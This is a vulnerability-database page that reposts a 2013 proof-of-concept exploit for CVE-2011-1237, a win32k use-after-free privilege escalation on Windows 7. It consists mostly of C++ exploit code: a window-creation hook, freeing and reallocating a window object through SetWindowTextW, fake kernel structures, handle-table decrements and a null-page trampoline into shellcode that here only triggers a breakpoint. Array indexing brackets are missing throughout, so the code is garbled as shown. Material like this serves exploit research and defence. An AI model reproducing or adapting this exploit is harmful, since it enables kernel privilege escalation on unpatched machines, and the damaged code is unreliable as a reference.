Loading
0

CVE-2011-1237 Microsoft Windows权限提升漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

INFO

## CVE-2011-1237

This is an old POC for CVE-2011-1237 on Windows 7 written in 2013. The
vulnerability was discovered by Tarjei Mandt (@kernelpool(https://twitter.com/kernelpool))
and explain in his paper Kernel Attacks through User-Mode Callbacks(https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf).

Several things are hardcoded in this POC and it call the Null page which does
not work anymore. The exploit is describe in my talk
A Look into the Windows Kernel(https://lse.epita.fr/lse-summer-week-2013/slides/lse-summer-week-2013-26-Bruno%20Pujos-A%20Look%20into%20the%20Windows%20Kernel.pdf).

The only thing the shellcode does is trigger a breakpoint.

EXP

#include <afxwin.h>
#include <iostream>

// this should not be in hard, it's the addr of the handle table stored
// in win32k!gSharedInfo
#define BEGIN_HTABLE 0xbc510000

int c = 0;
HWND win;
HWND win2;
HWND win3;
HWND win4;
HWND destroy;

PVOID FakeWin;
PVOID FakeWin2;
wchar_t str82;

NTSTATUS (NTAPI *NtAllocateVirtualMemory)
(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG AllocationType,
    IN ULONG Protect
);

NTSTATUS (NTAPI *NtFreeVirtualMemory)
(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN OUT PSIZE_T RegionSize,
    IN ULONG FreeType
);

// The hook needed for set the parent for the window (the one we will destroy
// later)
LRESULT CALLBACK CBT_exploit(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam)
{
    CBT_CREATEWND *info = (LPCBT_CREATEWND) lParam;

    if (nCode == HCBT_CREATEWND)
    {
        std::cout << "Win parrent : " << std::hex << win2 << std::endl;
        info->hwndInsertAfter = (HWND) win2;
    }

    return 0;
}

// The msg function which does the work for the msg and in there is the destroy
// and the realloc for the use-after-free
LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    if (msg == WM_NCCREATE)
    {
        // here we destroy the window we have pass as the parent
        if (!DestroyWindow(win2))
        {
            std::cout << "PROBLEM : not destroy" << std::endl;
            exit(0);
        }
        std::cout << "The window have been destroy" << std::endl;

        // we reallocate the size of the window
        if (!SetWindowTextW(win3, str))
        {
            std::cout << "SetWindowTextW3 fail" << std::endl;
            exit(0);
        }
        // In some case the first allocation with not be at the same
        // position than the window we just destroy so we do it twice
        if (!SetWindowTextW(win4, str))
        {
            std::cout << "SetWindowTextW4 fail" << std::endl;
            exit(0);
        }
        std::cout << "The realloc have being done" << std::endl;
    }
    // just returning the standard stuff for all the message
    return DefWindowProc (hwnd, msg, wParam, lParam);
}

int shellcode()
{
    // I should put a real shellcode here but that will do it for now
    __asm _emit 0xcc // int 3
    return 0;
    // everything after that fail because I don't fix the window...
}

void initShellcode()
{
    PVOID Addr = (PVOID) 0x00001000;
    ULONG Size = 1024;
    ULONG Status;
    char *nulll = 0;
    int  *nu = (int *) 1;

    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (Status)
    {
        std::cout << "Allocation of the null page fail" << std::endl;
        exit(0);
    }
    
    nulll0 = 0xe8; // call
    nu0 = ((int) shellcode) - 5; // relative addr
    nulll5 = 0xc3; // ret
}

HINSTANCE init()
{
    HINSTANCE hInst = GetModuleHandle (0);
    WNDCLASSEX wc;

    // we get the address of the NtAllocateVirtualMemory
    *(FARPROC *) &NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"),
        "NtAllocateVirtualMemory");
    *(FARPROC *) &NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"),
        "NtFreeVirtualMemory");

    // we register some window class
    // we need to register for set the WndProc function
    wc.cbSize = sizeof (WNDCLASSEX);
    wc.style = 0;
    wc.lpfnWndProc = WndProc;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.hInstance = hInst;
    wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wc.hCursor = LoadCursor(NULL, IDC_ARROW);
    wc.hbrBackground = (HBRUSH) (COLOR_WINDOW+1);
    wc.lpszMenuName = NULL;
    wc.lpszClassName = "MyWinClass";
    wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);

    if (!RegisterClassEx(&wc))
    {
        std::cout << "Window Registration Failed!" << std::endl;
        exit(0);
    }

    initShellcode();

    return hInst;
}

// do the basic operation on the handler for knowing where it is in the table
int get_table_offset_from_handle(int h)
{
    return (0xc * (h & 0xffff));
}

// If I can't allocate normally I just try to free something allocate at a place
// where I can alloc
PVOID desesperateallocate()
{
    int BaseAddr = 0x00200000; // this is arbitrary
    PVOID Addr = (PVOID) BaseAddr;
    ULONG Size = 0;
    ULONG Status;

    Status = NtFreeVirtualMemory( ((HANDLE) -1), &Addr, &Size,
        MEM_RELEASE);

    while (Status)
    {
        BaseAddr += 0x10000;
        Addr = (PVOID) BaseAddr;
        Status = NtFreeVirtualMemory( ((HANDLE) -1), &Addr, &Size,
            MEM_RELEASE);
    }

    std::cout << "Free : 0x" << std::hex << Addr << std::endl;

    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (Status)
    {
        std::cout << "Fail reallocation at 0x" << std::hex << BaseAddr
            << std::endl;
        exit(0);
    }
    return Addr;
}

// allocate with NTAllocatVirtualMemory a place for putting a fake window
// In particular this function care that the address will be put in a string
// SetWindowText convert the things it does not now how to print in '?'
PVOID functionallocate()
{
    int BaseAddr = 0x00200000; // this is arbitrary
    PVOID Addr = (PVOID) BaseAddr;
    ULONG Size = 1024;
    ULONG Status = 1;

    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    while (Status)
    {
        std::cout << "Error Allocate : 0x" << std::hex << Addr << " "<< Status
            << std::endl;
        BaseAddr += 0x10000;
        Addr = (PVOID) BaseAddr;
        Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        // If this have not work we will try to free something which is already
        // alloc this have a good chance to finish by crashing the program
        // but for now I have no problem with this
        if (((BaseAddr >> 16) & 0xff) > 0x7f)
        {
            std::cout << "Fail to allocate a valid page" << std::endl;
            std::cout << "Begin desperate allocate" << std::endl;
            return desesperateallocate();
        }
    }

    std::cout << "Success to allocate : 0x" << std::hex << Addr << std::endl;
    return Addr;
}

// allocate with NTAllocatVirtualMemory a place for putting a fake window
PVOID allocatefun()
{
    int BaseAddr = 0x00200000; // this is arbitrary
    PVOID Addr = (PVOID) BaseAddr;
    ULONG Size = 1024;
    ULONG Status = 1;

    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    while (Status)
    {
        std::cout << "Error Allocate : 0x" << std::hex << Addr << " "<< Status
            << std::endl;
        BaseAddr += 0x10000;
        Addr = (PVOID) BaseAddr;
        Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    }

    std::cout << "Success to allocate : 0x" << std::hex << Addr << std::endl;
    return Addr;
}


void prepdecr(HINSTANCE hInst)
{
    FakeWin = functionallocate();
    FakeWin = (char *)FakeWin + 0x64; // adding something for not having a double 0

    std::cout << "Fake Win : " << std::hex << FakeWin << std::endl;

    // we put this to 0 because of a check done in the function
    ((int *)FakeWin)1 = 0;

    // we crate the string for the reallocation
    for (int i = 0; i < 82; i++)
        stri = 'a';
    str81 = '\0';
    // the address for the spwndNext : we put the address of our
    // FakeWindow
    str0x2c / 2 = (char) (((int) FakeWin) & 0xff);
    str0x2c / 2 + 1 = (char) (((int) FakeWin >> 16) & 0xff);
}

void changeaddrdecr(int addrdecr)
{
    // we put in the position for the next the addr to decr
    ((int *)FakeWin)12 = (addrdecr - 4);
}

void decr(HINSTANCE hInst, int addrdecr)
{
    HHOOK hhk;

    // we first create two windows we will use for realloc with SetWindowText
    // this window are name win3 and win4
    win3 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
        NULL, NULL, hInst, NULL);
    if (!win3)
    {
        std::cout << "Window 3 not created : " << GetLastError() << std::endl;
        exit (0);
    }

    win4 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
        NULL, NULL, hInst, NULL);

    if (!win4)
    {
        std::cout << "Window 4 not created : " << GetLastError() << std::endl;
        exit(0);
    }
    // we need a third window which will set as the parent and then destroy
    // and reallocate using SetWindowText
    win2 = CreateWindowEx(WS_EX_LEFT, "Button", "Test title 2", WS_TILEDWINDOW, 0, 0, 200, 200,
        NULL, NULL, hInst, NULL);
    if (!win2)
    {
        std::cout << "Win2 not created : " << GetLastError() << std::endl;
        exit (0);
    }

    std::cout << "Window parrent : " << win2 << std::endl;
    std::cout << "Window for the realloc : " << win3 << std::endl;
    std::cout << "Window for the realloc : " << win4 << std::endl;

    // we set the hook where we will say that the win2 is the parrent
    hhk = SetWindowsHookEx(5, CBT_exploit, NULL, GetCurrentThreadId());

    // we create the window, all the exploit is during creation
    win = CreateWindowEx(WS_EX_LEFT, "MyWinClass", "Test title", WS_TILEDWINDOW, 0, 0, 200, 200,
        NULL, NULL, hInst, NULL);

    // we check that everything as been going fine
    if (!win)
    {
        std::cout << "An error occur during the creation and the exploit : "
            << GetLastError() << std::endl;
        exit (0);
    }

    // we unset the hook for the next creation
    UnhookWindowsHookEx(hhk);

    // we put the addr to decrement to 0 because if we relink
    // the value we went to decrement could change
    changeaddrdecr(0);
}

void callnull(HINSTANCE hInst, int addrdecr)
{
    HHOOK hhk;
    HWND tmp1;
    HWND tmp2;

    // here we will need two fake windows, the second is the one we will
    // be decrement and will be use to call null
    FakeWin = functionallocate();
    FakeWin2 = allocatefun();
    FakeWin = (char *)FakeWin + 0x64; // adding something for not having a double 0

    std::cout << "Fake Win : " << std::hex << FakeWin << std::endl;
    std::cout << "Fake Win 2 : " << std::hex << FakeWin2 << std::endl;

    ((int *)FakeWin)1 = 0;

    // we put the addr to decrement as our second false window
    ((int *)FakeWin)12 = (int)FakeWin2;

    // we set the handler for our fake window as the one we have modify
    ((int *) FakeWin2)0 =  (int) destroy;
    // we set the clock obj to 1, as it will be set to 0 it will call the
    // destroying function for the type associate and so call the null page
    ((int *) FakeWin2)1 =  1;

    // we create the string for the reallocation
    for (int i = 0; i < 82; i++)
        stri = 'a';
    str81 = '\0';
    // the address for the spwndNext
    str0x2c / 2 = (char) (((int) FakeWin) & 0xff);
    str0x2c / 2 + 1 = (char) (((int) FakeWin >> 16) & 0xff);

    tmp1 = win3;
    // like previously we creatte two window for reallocate
    win3 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
        NULL, NULL, hInst, NULL);

    if (!win3)
    {
        std::cout << "Win3 not created : " << GetLastError() << std::endl;
        exit (0);
    }

    tmp2 = win4;
    win4 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
        NULL, NULL, hInst, NULL);

    if (!win4)
    {
        std::cout << "Win4 not created : " << GetLastError() << std::endl;
        exit (0);
    }

    // and one wich will be the parrent and then destroy
    win2 = CreateWindowEx(WS_EX_LEFT, "Button", "Test title 2", WS_TILEDWINDOW, 0, 0, 200, 200,
        NULL, NULL, hInst, NULL);

    if (!win2)
    {
        // Funny thing if I exit here the destruction of the window potentially
        // call the null page
        std::cout << "Win2 not created : " << GetLastError() << std::endl;
        exit(0);
    }

    std::cout << "Window 2 : " << win2 << std::endl;
    std::cout << "Window 3 : " << win3 << std::endl;
    std::cout << "Window 4 : " << win4 << std::endl;

    // and finnaly we do the exploit
    hhk = SetWindowsHookEx(5, CBT_exploit, NULL, GetCurrentThreadId());


    win = CreateWindowEx(WS_EX_LEFT, "MyWinClass", "Test title", WS_TILEDWINDOW, 0, 0, 200, 200,
        NULL, NULL, hInst, NULL);

    if (!win)
    {
        std::cout << "Error during the call to the null page : " << GetLastError() << std::endl;
        exit (0);
    }

    UnhookWindowsHookEx(hhk);

}


void cve ()
{
    int addrdecr;

    HINSTANCE hInst;
    PVOID FakeWin;

    hInst = init();

    // the window to destroy
    destroy = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
        NULL, NULL, hInst, NULL);
    std::cout << "Destroy Window : " << destroy << std::endl;
    std::cout << "Offset table : " << get_table_offset_from_handle((int) destroy) << std::endl;
    addrdecr = BEGIN_HTABLE + get_table_offset_from_handle((int) destroy) + 9;

    prepdecr(hInst);

    std::cout << "Begin the three decrement for the flag" << std::endl;

    changeaddrdecr(addrdecr);
    decr(hInst, addrdecr);
    // we set the addr each time
    changeaddrdecr(addrdecr);
    decr(hInst, addrdecr);

    changeaddrdecr(addrdecr);
    decr(hInst, addrdecr);

    std::cout << "Begin the decrement of the type" << std::endl;

    // we change the decrement for setting the type of the window
    addrdecr--;
    // not sure if it's really useful
    prepdecr(hInst);

    changeaddrdecr(addrdecr);
    decr(hInst, addrdecr);

    std::cout << "Last decrementation done" << std::endl;

    // here the window to decr as the good value we need just now to delete it
    // via the call to link window
    std::cout << "Before : Triger the deletion of the free type" << std::endl;

    callnull(hInst, addrdecr);

    std::cout << "End" << std::endl;
}

int main()
{
    cve();
}

PWNWIK.COM